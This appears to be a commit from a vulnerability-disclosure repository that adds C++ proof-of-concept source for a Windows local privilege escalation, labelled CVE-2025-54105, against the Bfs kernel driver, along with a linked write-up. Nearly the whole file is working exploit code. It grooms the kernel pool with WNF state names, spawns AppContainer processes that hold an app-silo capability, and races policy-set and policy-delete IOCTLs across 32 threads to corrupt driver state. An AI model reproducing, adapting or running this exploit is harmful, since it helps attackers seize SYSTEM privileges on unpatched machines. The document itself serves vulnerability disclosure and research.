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seasecresponse
2026-07-18 18:48:30 +00:00
parent 15a6fd457a
commit 2656e1c1fb
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CVE-2025-54105/BfsLpe2.cpp
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#include <iostream>
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
#include "wnf.h"
#include "Bfs2.h"
#include <userenv.h>
#pragma comment(lib, "Userenv.lib")
PWSTR gProcessPath = NULL;
typedef HRESULT(WINAPI* __CreateAppContainerProfile)(
_In_ PCWSTR pszAppContainerName,
_In_ PCWSTR pszDisplayName,
_In_ PCWSTR pszDescription,
_In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities,
_In_ DWORD dwCapabilityCount,
_Outptr_ PSID* ppSidAppContainerSid);
typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)(
_In_ PCWSTR pszAppContainerName,
_Outptr_ PSID* ppsidAppContainerSid);
typedef BOOL(WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)(
_In_ LPCWSTR StringSecurityDescriptor,
_In_ DWORD StringSDRevision,
_Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor,
_Out_opt_ PULONG SecurityDescriptorSize);
__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
void CreateContainerIf(PSID* ppSidAppContainerSid, int Tid, ULONGLONG TickCount64) {
PCWSTR pszAppContainerBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28";
PCWSTR pszDisplayBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28";
PCWSTR pszBaseDescription = L"This is Container_c83b2e04-432a-4767-a737-143733ee9f28.";
WCHAR szAppContainerName[0x200] = { 0 };
WCHAR szDisplayName[0x200] = { 0 };
WCHAR szDescription[0x200] = { 0 };
swprintf_s(szAppContainerName, 0x200, L"%ls-%x-%I64x", pszAppContainerBaseName, Tid, TickCount64);
swprintf_s(szDisplayName, 0x200, L"%ls-%x-%I64x", pszDisplayBaseName, Tid, TickCount64);
swprintf_s(szDescription, 0x200, L"%ls-%x-%I64x", pszBaseDescription, Tid, TickCount64);
HRESULT Hr = CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid);
if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {
Hr = DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid);
}
}
struct _SiloSID
{
unsigned __int8 Revision;
unsigned __int8 SubAuthorityCount;
_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
unsigned int SubAuthority[2];
};
_SiloSID CreateAppSiloCapability() {
_SiloSID SeAppSiloSid = { 0 };
_SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };
IdentifierAuthority.Value[0] = 0;
IdentifierAuthority.Value[1] = 0;
IdentifierAuthority.Value[2] = 0;
IdentifierAuthority.Value[3] = 0;
IdentifierAuthority.Value[4] = 0;
IdentifierAuthority.Value[5] = 0xF;
InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
SeAppSiloSid.SubAuthority[0] = 3;
SeAppSiloSid.SubAuthority[1] = 0x10000;
return SeAppSiloSid;
}
struct _PROC_THREAD_ATTRIBUTE
{
unsigned __int64 Attribute;
unsigned __int64 Size;
unsigned __int64 Value;
};
struct _PROC_THREAD_ATTRIBUTE_LIST
{
unsigned int PresentFlags;
unsigned int AttributeCount;
unsigned int LastAttribute;
unsigned int SpareUlong0;
_PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
_PROC_THREAD_ATTRIBUTE Attributes[1];
};
bool LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
STARTUPINFOEX si = { sizeof(si) };
PROCESS_INFORMATION pi;
SIZE_T size;
SECURITY_CAPABILITIES sc = { 0 };
sc.AppContainerSid = pSidAppContainerSid;
SID_AND_ATTRIBUTES Capabilities[1] = { 0 };
_SiloSID SeAppSiloSid = CreateAppSiloCapability();
Capabilities[0].Sid = (PSID)(&SeAppSiloSid);
Capabilities[0].Attributes = 0xf;
sc.CapabilityCount = 1;
sc.Capabilities = Capabilities;
InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
BYTE* buffer = (BYTE*)malloc(size);
memset(buffer, 0, size);
si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);
WCHAR szCommandLine[MAX_PATH];
swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath);
bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
*pProcessHandle = pi.hProcess;
*pThreadHandle = pi.hThread;
return bResult;
}
int LoadWnfApi()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibraryA("ntdll.dll");
if (hNtDll == NULL)
{
printf("load ntdll failed!\r\n");
return -1;
}
NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
if (NtCreateWnfStateName == NULL ||
NtUpdateWnfStateData == NULL ||
NtQueryWnfStateData == NULL ||
NtDeleteWnfStateData == NULL ||
NtDeleteWnfStateName == NULL)
{
printf("not found functions\r\n");
return -1;
}
return 0;
}
WNF_STATE_NAME gStateNames[0x10000];
int gStateCount = 0x10000;
bool WnfSprayPrepare() {
NTSTATUS Status = 0;
char Entry[0x1000 - 0x10] = { 0 };
PSECURITY_DESCRIPTOR pSD = NULL;
WNF_STATE_NAME StateName;
int DataCount = 0x1000;
WNF_STATE_NAME StateNames[0x1000];
HMODULE hModule = NULL;
hModule = LoadLibraryA("advapi32.dll");
__ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW");
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr))
{
return false;
}
for (int i = 0; i < gStateCount; ++i) {
Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
if (Status != 0)
{
printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
break;
}
}
if (pSD)
{
LocalFree(pSD);
}
return true;
}
HANDLE OpenDevice() {
UNICODE_STRING usDevice = { 0 };
RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE hDevice = NULL;
NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);
if (STATUS_SUCCESS != status) {
printf("[-] NtOpenFile() Return Code: %x\n", status);
printf("please check if the bfs service is running.\n");
getchar();
ExitProcess(1);
}
return hDevice;
}
HANDLE ghDevice = NULL;
DWORD gInputBufferLength = 100;
PVOID gInputBuffer[32];
DWORD gOutputBufferLength = 100;
PVOID gOutputBuffer = NULL;
HANDLE gTokenHandle = NULL;
WCHAR gszSystemDir[MAX_PATH + 1] = { 0 };
WCHAR gszFilePath[MAX_PATH + 1] = { 0 };
bool gThread2Exit = false;
HANDLE ghStartEvent3 = NULL;
HANDLE ghTriggerEvent3 = NULL;
HANDLE ghMonitorEvent = NULL;
void SendPrepare() {
ghDevice = OpenDevice();
gOutputBuffer = malloc(gOutputBufferLength);
memset(gInputBuffer, 0, gInputBufferLength);
memset(gOutputBuffer, 0, gOutputBufferLength);
UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH);
swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir);
for (int i = 0; i < 32; ++i) {
gInputBuffer[i] = malloc(gInputBufferLength);
_BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[i];
Policy->TokenHandle = gTokenHandle;
Policy->FileType = 1;
Policy->PolicyValue = 2;
Policy->PolicyFlags = 0xf;
Policy->OperationType = 1;
RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath);
}
ghStartEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL);
ghTriggerEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL);
ghMonitorEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
LoadWnfApi();
}
int SendSetPolicyRequest(int Index, HANDLE TokenHandle, ULONG OperationType) {
IO_STATUS_BLOCK IoStatusBlock = { 0 };
_BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[Index];
Policy->OperationType = OperationType;
Policy->TokenHandle = TokenHandle;
NTSTATUS Status = NtDeviceIoControlFile(
ghDevice,
NULL,
NULL,
NULL,
&IoStatusBlock,
0x228004,
gInputBuffer[Index],
gInputBufferLength,
gOutputBuffer,
gOutputBufferLength);
if (Status != 0) {
printf("SendSetPolicyRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
}
return Status;
}
int BfsProcessDeletePolicyEntryRequest(int Index, HANDLE TokenHandle) {
IO_STATUS_BLOCK IoStatusBlock = { 0 };
*(HANDLE*)gInputBuffer[Index] = TokenHandle;
NTSTATUS Status = NtDeviceIoControlFile(
ghDevice,
NULL,
NULL,
NULL,
&IoStatusBlock,
0x228010u,
gInputBuffer[Index],
gInputBufferLength,
gOutputBuffer,
gOutputBufferLength);
if (Status != 0) {
printf("BfsProcessDeletePolicyEntryRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
}
return Status;
}
void SiloMain() {
//getchar();
}
int AppsiloProcessCount = 150;
HANDLE AppSiloTokenHandles[32][10000];
HANDLE AppSiloThreadHandles[32][10000];
HANDLE AppSiloProcessHandles[32][10000];
DWORD WINAPI HostWorker1(LPVOID lpParameter) {
int ThreadIndex = *(int*)lpParameter;
printf("Thread %d: Creating Policy Entry...\n", ThreadIndex);
for (int i = 0; i < AppsiloProcessCount; ++i) {
PSID pSidAppContainerSid = NULL;
int Tid = GetCurrentThreadId();
ULONGLONG TickCount64 = GetTickCount64();
CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64);
if (pSidAppContainerSid == NULL) {
printf("CreateContainerIf failed.\n");
}
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) {
printf("LaunchContainerApp failed.\n");
}
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
AppSiloProcessHandles[ThreadIndex][i] = hProcess;
AppSiloThreadHandles[ThreadIndex][i] = hThread;
AppSiloTokenHandles[ThreadIndex][i] = hToken;
//WaitForSingleObject(AppSiloProcessHandles[ThreadIndex][i], INFINITE);
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]);
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
}
printf("Thread %d: Creating Policy Entry returned\n", ThreadIndex);
//getchar();
/*for (int i = 0; i < AppsiloProcessCount; ++i) {
CloseHandle(AppSiloTokenHandles[i]);
CloseHandle(AppSiloThreadHandles[i]);
CloseHandle(AppSiloProcessHandles[i]);
}*/
return 0;
}
DWORD WINAPI HostWorker2(LPVOID lpParameter) {
int ThreadIndex = *(int*)lpParameter;
while (!gThread2Exit) {
for (int i = 0; i < AppsiloProcessCount; ++i) {
if (AppSiloTokenHandles[ThreadIndex][i]) {
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
}
else {
Sleep(1);
}
}
}
return 0;
}
DWORD WINAPI HostWorker3(LPVOID lpParameter) {
int ThreadIndex = *(int*)lpParameter;
WaitForSingleObject(ghStartEvent3, INFINITE);
printf("Thread %d: updating last access time.\n", ThreadIndex);
for (int i = 0; i < AppsiloProcessCount; ++i) {
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
}
printf("Thread %d: updating last access time, returned.\n", ThreadIndex);
if (ThreadIndex % 2 == 0) {
printf("Thread %d: waiting update last access time again.\n", ThreadIndex);
Sleep(11 * 1000);
printf("Thread %d: updating last access time.\n", ThreadIndex);
for (int i = 0; i < AppsiloProcessCount; ++i) {
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3);
}
printf("Thread %d: waiting ghTriggerEvent3.\n", ThreadIndex);
WaitForSingleObject(ghTriggerEvent3, INFINITE);
//printf("Thread %d: waiting ghTriggerEvent3, retruned.\n", ThreadIndex);
bool bfirst = true;
while (true) {
for (int i = 0; i < AppsiloProcessCount; ++i) {
if (bfirst) {
printf("Thread %d: sending request...\n", ThreadIndex);
}
BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]);
SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 1);
if (bfirst) {
bfirst = false;
printf("Thread %d: sending request, retruned.\n", ThreadIndex);
}
}
}
}
return 0;
}
DWORD WINAPI HostWorker(LPVOID lpParameter) {
PSID pSidAppContainerSid = NULL;
int Tid = GetCurrentThreadId();
ULONGLONG TickCount64 = GetTickCount64();
CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64);
if (pSidAppContainerSid == NULL) {
printf("CreateContainerIf failed.\n");
}
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) {
printf("LaunchContainerApp failed.\n");
}
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
WaitForSingleObject(hProcess, INFINITE);
while (1) {
SendSetPolicyRequest(0, hToken, 3);
SetEvent(ghMonitorEvent);
if (WAIT_TIMEOUT != WaitForSingleObject(ghTriggerEvent3, 1000)) {
break;
}
}
return 0;
}
DWORD WINAPI HostMonitor(LPVOID lpParameter) {
while (1) {
if (WAIT_TIMEOUT == WaitForSingleObject(ghMonitorEvent, 3000)) {
printf("SetEvent(ghTriggerEvent3)\n");
SetEvent(ghTriggerEvent3);
break;
}
}
return 0;
}
int ThreadIndex[32];
void HostWorkerMain() {
HANDLE hThreads[32];
HANDLE hThreads2[32];
HANDLE hThreads3[32];
SendPrepare();
memset(AppSiloTokenHandles, 0, sizeof(AppSiloTokenHandles));
memset(AppSiloThreadHandles, 0, sizeof(AppSiloThreadHandles));
memset(AppSiloProcessHandles, 0, sizeof(AppSiloProcessHandles));
int ThreadCount = 32;
for (int i = 0; i < ThreadCount; ++i) {
ThreadIndex[i] = i;
hThreads[i] = CreateThread(NULL, 0, HostWorker1, &ThreadIndex[i], 0, NULL);
hThreads2[i] = CreateThread(NULL, 0, HostWorker2, &ThreadIndex[i], 0, NULL);
hThreads3[i] = CreateThread(NULL, 0, HostWorker3, &ThreadIndex[i], 0, NULL);
}
Sleep(1000);
printf("%u\n", GetTickCount());
WaitForMultipleObjects(ThreadCount, hThreads, TRUE, INFINITE);
printf("Thread1 returned\n");
printf("%u\n", GetTickCount());
gThread2Exit = true;
WaitForMultipleObjects(ThreadCount, hThreads2, TRUE, INFINITE);
printf("Thread2 returned\n");
printf("%u\n", GetTickCount());
SetEvent(ghStartEvent3);
HANDLE hWorker = CreateThread(NULL, 0, HostWorker, NULL, 0, NULL);
HANDLE hMonitor = CreateThread(NULL, 0, HostMonitor, NULL, 0, NULL);
WaitForMultipleObjects(ThreadCount, hThreads3, TRUE, INFINITE);
printf("Thread3 returned\n");
printf("%u\n", GetTickCount());
TerminateThread(hWorker, 1);
TerminateThread(hMonitor, 1);
//getchar();
}
HANDLE CreateWorkerProcess() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
WCHAR szCommandLine[MAX_PATH + 1];
swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker", gProcessPath);
bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
return pi.hProcess;
}
HANDLE CreateHostProcess() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
WCHAR szCommandLine[MAX_PATH + 1];
swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath);
bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
return pi.hProcess;
}
void HostMain() {
int index = 0;
int WorkerCount = 1;
HANDLE ProcessHandles[100];
for (int i = 0; i < WorkerCount; ++i) {
ProcessHandles[i] = CreateWorkerProcess();
}
while (true) {
DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE);
ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess();
}
}
void Test() {
SendPrepare();
}
int wmain(int argc, WCHAR* argv[])
{
//Test();
gProcessPath = argv[0];
if (argc == 1) {
//HostMain();
HostWorkerMain();
}
else if (argc == 2) {
SiloMain();
}
else {
HostWorkerMain();
}
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PWSTR szCmdLine, int iCmdShow)
{
return wmain(__argc, __wargv);
}
CVE-2025-54105/Bfs_LPE2.docx
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